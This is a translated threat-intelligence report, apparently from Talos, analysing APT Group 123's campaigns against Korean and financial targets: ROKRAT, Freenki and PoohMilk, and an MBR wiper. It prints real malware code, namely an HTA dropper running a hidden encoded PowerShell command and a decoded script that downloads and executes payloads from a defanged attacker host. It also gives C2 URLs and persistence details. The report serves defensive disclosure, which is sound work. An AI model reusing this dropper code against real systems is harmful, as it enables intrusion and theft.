导语:盘点一年来由APT组织Group 123主导的针对韩国目标的多次攻击行动。
一、内容摘要
本文披露了2017年Group 123的恶意行动,我们确信Group 123应该为以下六项行动负责:
"Golden Time" "Evil New Year" "Are you Happy?" "FreeMilk" "North Korean Human Rights" "Evil New Year 2018"
2018年1月2日,Evil New Year 2018开启,此行动完全复制了2017年Evil New Year的方法。不同行动之间相互关联,包括共享的代码以及诸如PDB(程序数据库)模式之类的编译器部件。
据分析,Golden Time、两个Evil New Year以及North Korean Human Rights行动专门针对韩国用户。攻击者结合Hancom Hangul Office Suite创建的恶意HWP文档,使用鱼叉式钓鱼邮件。已经明确Group123使用了漏洞(例如CVE-2013-0808)或OLE对象的脚本语言。恶意文档的目的是安装并执行远程管理工具(RAT)ROKRAT。有时攻击者会直接将ROKRAT payload包含在恶意文档中,而在其他行动中,攻击者使用多阶段感染过程:文档只包含一个下载器,用于从攻陷的Web服务器上下载ROKRAT。
此外,FreeMilk行动还针对数家非韩国金融机构。在该行动中,攻击者利用了恶意的微软Office文档,而不是他们通常使用的Hancom文档。文档利用了较新的漏洞CVE-2017-0199,Group 123在漏洞公开披露不到一个月就开始使用了。在该行动中,攻击者使用了两个不同的恶意二进制文件:PoohMilk和Freenki,PoohMilk仅用于启动Freenki,Freenki收集受感染系统的信息并下载后续阶段的payload。该恶意软件已于2016年在多个行动中使用,并与ROKRAT有一些代码重叠。
最后,我们锁定了与Group 123相关的第6次行动。我们将第6次活动命名为Are You Happy?。在该行动中,攻击者部署了一个磁盘擦除器。这次攻击的目的不仅是为了访问远程感染系统,而且还要擦除设备的第一个扇区。经确定擦除器是ROKRAT模块。
攻击者今年异常活跃,并持续关注韩国。该组织利用鱼叉式钓鱼和恶意文档,其内容包括非常特定的语言,这表明它们是由以韩语为母语的人书写的,而非翻译而来。攻击者具备如下能力:
· 工作流程中包含漏洞(针对Hangul和Microsoft Office) · 将payload分成多个阶段来修正其行动 · 使用攻陷的Web服务器或合法的云平台 · 使用HTTPS通信增加流量分析难度 · 为了攻击第三方打造逼真的鱼叉式钓鱼行动(即Golden Time中的Yonsei 大学) · 不断发展进步,2018年的新无文件功能就是一个证明
二、时间轴
这是2017年和2018年初的时间轴:
(一)2016.08-2017.03 : GOLDEN TIME
与Group 123的大多行动一样,在本次行动中最初的攻击媒介是鱼叉式钓鱼邮件。Talos确认了两种不同类型的电子邮件。第一封电子邮件很有意思,我们看到攻击者赞扬用户加入了与“Korean Reunification and North Korean Conference”有关的小组。邮件正文解释说,收件人应完成附件文档以提供必要的反馈。而这是一个不存在的会议,经确定,与统一大会有关的最接近的会议是2017年1月的NYDA统一大会。发件人是[email protected],这是韩国全球论坛的联系电子邮件,一个独立的会议。
在分析邮件头部时,我们发现发送该邮件所使用的SMTP服务器IP与延世大学相关联。我们认为该电子邮件地址已被攻击者控制并滥用。
恶意附件的文件名翻译为“统一北韩会议_调查文档”,邮件中特别加重了有关统一大会的文字。另外,在邮件正文中,攻击者甚至告诉完成文档的人将得到一笔“小费”。也许这就是嵌入式恶意软件的礼物:
而第二封电子邮件的分析工作简单的多。这封邮件来自Hanmail,Daum提供的免费韩国邮件服务,没有像之前描述的那样尝试将发件人显示为官方机构或个人。邮件主题是“请求帮助”,附件名是“我是北韩江原道文川市人”。我们怀疑攻击者是想提醒读者,文川市和它所在的江原省,包括韩国的江原道,都归属于1945年韩国分裂之前的一个统一的省。
第二封邮件里有一个故事,讲的是一个名叫Ewing Kim的人,他在寻求帮助:
附件是两个不同的HWP文档,均利用了相同的漏洞(CVE-2013-0808),此漏洞专门针对EPS(封装的PostScript)格式。shellcode的目的是从互联网下载一个payload。
第一封电子邮件向受感染用户显示下面的诱饵文档并下载如下payload:
hxxp://discgolfglow[.]com:/wp-content/plugins/maintenance/images/worker.jpg
第二封电子邮件向受感染用户显示下面的诱饵文档,并下载如下payload:
hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg
两种情形中,下载的payload均是ROKRAT恶意软件。
这个ROKRAT变种的首要任务是检查操作系统版本。如果检测到Windows XP,则恶意软件将执行无限循环,其目的是在运行Windows XP机器的沙箱系统打开时生成空报表。此外,它还会检查以确定受感染系统是否正在运行常用分析工具。如果检测到存在这些工具,恶意软件会向合法网站发送两个请求:
hxxps://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg
hxxp://www[.]hulu[.]com/watch/559035/episode3.mp4
亚马逊网址显示一个名为Men of War的二战游戏,而Hulu网址则是名为Golden Time的日本动漫节目:
ROKRAT的特征之一就是使用社交网络和云平台与攻击者进行通信。这些平台是用来传输文件和接收命令。以下是该变种使用的平台列表:Twitter,Yandex和Mediafire。样本中每个平台的令牌都是硬编码的:
(二)2016.11-2017.01: EVIL NEW YEAR
2017年初,Group123开始了Evil New Year行动。在此次行动中,攻击者试图通过冒充来自韩国统一部的电子邮件来欺骗受害者,并专门提供了针对韩国的分析。这次行动从一些针对韩国目标的,包含恶意附件的钓鱼邮件开始。下一步,Group 123试图引诱受害者打开Hancom Hangul文档附件。Hancom Hangul是一款主要在朝鲜半岛使用的办公套件,使用Hangul办公文档符合朝鲜半岛的习惯。如果攻击者使用微软文档,可能会引起受害者的怀疑。鉴于所使用的区域文件格式,一些安全软件套件可能无法很好地检测这些文件,这就为攻击者提供了规避机会。
发给目标的文件名为“2017年北方新年分析”,并使用了韩国统一部的官方标志。这是攻击者所做的一个简单决策,进一步表明了他们对该地区的熟悉程度。
这份文档声称要讨论朝鲜的新年活动,这可能是韩国的受害者很感兴趣的。对于Group123的首选——政府目标而言,更是如此。文档是一个诱饵,目的是诱使用户打开嵌入页面的恶意文档。
攻击者嵌入了两个其它的链接,文档敦促用户点击这些链接了解有关北韩新年活动的更多信息。第一个链接标记为"Comparison of Major Tasks in '16 & '17",第二个链接标记为"Comparison between '16 & '17"。
打开这些链接后,将给用户提供另一个诱饵Hangul文档。文档写得很好,进一步增强了我们对新韩国攻击者的信心。这些文档包含用于释放二进制文件的恶意OLE对象。
包含恶意的OLE(对象链接嵌入)对象:
初步分析确认文档中两个大小相似的OLE对象文件,从执行的角度来看完全相同。依据我们的分析,这两个释放的二进制文件被保存在下述位置并执行:
C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (2).exe
C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (3).exe
初步分析显示,Group123的痕迹清除很马虎,后来我们借此来确定单独的行动是同一个攻击者所为,因为二进制文件中存在编译组件:e:HappyWorkSourceversion 12T+MResultDocPrint.pdb。
释放的二进制文件第二阶段用来执行wscript.exe,同时注入shellcode到这此进程中。shellcode被嵌入到资源BIN中,用于解压缩另一个PE32二进制文件,并使用wscript.exe执行。为此,Group123使用了众所周知的技术,调用VirtualAllocEx,WriteProcessMemory和CreateRemoteThread这些Windows API。
从shellcode解压的新PE32是一个初步侦察恶意软件,用来与C2基础设施进行通信,获取最终的payload。此恶意软件收集的信息包括以下内容:
机器名 用户名 样本所在的执行路径 BIOS模式 唯一标识系统的随机ID
Group123利用这种方法确定受害者是他们想要进一步针对的人,并基于侦察阶段所获信息确定后续需感染的人。
进一步的网络分析表明,二进制文件试图连接到以下URL:
www[.]kgls[.]or[.]kr/news2/news_dir/index.php
www[.]kgls[.]or[.]kr/news2/news_dir/02BC6B26_put.jpg
韩国政府法律服务(KGLS)是管理韩国政府法律事务的合法政府机构。攻陷KGLS,攻击者获得了一个可信赖的平台来执行攻击。
首先连接index.php,传输侦察阶段所收集的信息。攻击者使用这些信息来生成对应于受害者的特定文件名(基于随机ID)。在本例中该值是02BC6B26 – 这意味着在攻击者C2上为我们创建了一个02BC6B26_put.jpg文件。然后该文件被投放到受害者的机器上,重命名为officepatch.exe。由于攻击者特别小心在意攻击对象,在分析过程中我们没有获得该文件。
在调查中,我们确定攻击者使用的其他命令和控制基础设施。其中四个C2,分布在以下国家:3个C2 在韩国;1个C2在荷兰。以下是所确定的基础设施的全球地图:
与之前的行动相反,攻击者将侦察阶段从ROKRAT payload中分离出来。此技巧很可能是为了规避检测。对于Group 123的行为,这是一个有趣的调整。
(三)2017.03:ARE YOU HAPPY?
2017年3月,Group 123 组编写了磁盘擦除器。该恶意软件包含1个功能,目的是打开被感染系统的驱动器(\\.\ PhysicalDrive0),并将以下数据写入MBR:
在写入缓冲区中可以看到Are you Happy?字符串。写入MBR后,恶意软件使用以下命令重启计算机:c:\windows\system32\shutdown /r /t 1。
重新启动后,MBR向用户显示以下字符串:
关联到其他行动是因为以下PDB路径:D:\HighSchool\version 13\VC2008(Version15)\T+M\T+M\TMProject\Release\ErasePartition.pdb。
正如你所看到的,它完全合乎ROKRAT PDB。擦除器是名为ERSP.enc的ROKRAT模块。我们假设ERSP意味着ERaSePartition,该模块可由Group 123按需下载和执行。
样本很有意思,因为2014年12月韩国发电厂袭击事件中擦除器显示的信息是Who Am I?。
(四)2017.05:FREEMILK
此次行动针对非韩国的金融机构,但与其他行动不同,此行动没有使用HWP文件。它改为使用Office文档。这个变化是因为Group 123在此次行动中没有针对南韩,而是针对在世界上以微软Office为标准的其他地方。
感染载体
攻击者利用CVE-2017-0199下载并执行Microsoft Office中的恶意HTA文档。 所使用的URL可在嵌入的OLE对象中找到:
hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]
下面是下载的HTA文档的源代码:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <title>Bonjour</title> <script language="VBScript"> Set owFrClN0giJ = CreateObject("Wscript.Shell") Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject") If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then owFrClN0giJ.Run "powershell -nop -windowstyle hidden -executionpolicy bypass -encodedcommand JABjAD0AbgBlAHcALQBvA[...redacted...]H0AIAA=" ,0 owFrClN0giJ.Run "cmd /c echo hta>%tmp%\webbrowser1094826604.tmp", 0 End If Self.Close </script> <hta:application id="oHTA" applicationname="Bonjour" application="yes" > </head> </html> 使用base64算法解码后,可得到最终的payload: $c=new-object System.Net.WebClient $t =$env:temp $t1=$t+"\\alitmp0131.jpg" $t2=$t+"\\alitmp0132.jpg" $t3=$t+"\\alitmp0133.js" try { echo $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg",$t1) $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg",$t2) $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp",$t3) wscript.exe $t3 } catch { }
此脚本的目的是下载和执行一个Windows脚本和两个编码的payload。脚本用于解码和执行下列payload:
Appach01.jpg (renamed: Windows-KB275122-x86.exe) 为 Freenki 样本
Appach01.jpg (renamed: Windows-KB271854-x86.exe) 为 PoohMilk 样本
PoohMilk 分析
PoohMilk样本旨在执行两个操作:
创建持久性以便在下次重启时执行Freenki样本。
检查受感染机器上的特定文件。
第一个操作是创建一个注册表项,以执行先前下载的Windows-KB275122-x86.exe文件,该文件使用参数help执行。下面是注册表创建:
执行持久性的注册表位置是:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update。在下次重启时,恶意软件将被执行。
第二个操作是检查当前用户的临时目录中是否存在wsatra.tmp文件。如果文件存在,则读取内容以获取具有LNK后缀的第二个文件的路径。LNK文件最终用于识别第三个文件:一个ZIP文件,该文件检索RTF文档,并通过写字板显示给受感染的用户。
这是PoohMilk样本中的pdb路径:E:\BIG_POOH\Project\milk\Release\milk.pdb
Freenki 样本
Freenki的目的是收集受感染系统的信息并下载第三个可执行文件。此样本可用3个不同的参数来执行:
Help:由PoohMilk配置的值。在这种情况下,执行main函数。
Console:配置持久性,恶意软件将在下次重启时执行( HKCUSoftwareMicrosoftWindowsCurrentVersionRunrunsample )。
Sample: 恶意软件先执行console命令,然后执行help命令。
使用WMI查询收集信息:
此外,恶意软件通过Microsoft Windows API列出正在运行的进程,使用混淆来隐藏诸如URL或User-Agent之类的字符串,算法基于位运算(SUB 0x0F XOR 0x21),这是解码后的数据:
hxxp://old[.]jrchina[.]com/btob_asiana/udel_confirm.php Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; InfoPath.3)
下载的第三个payload使用相同的技术进行混淆,该文件是以PNGF开头的假图片。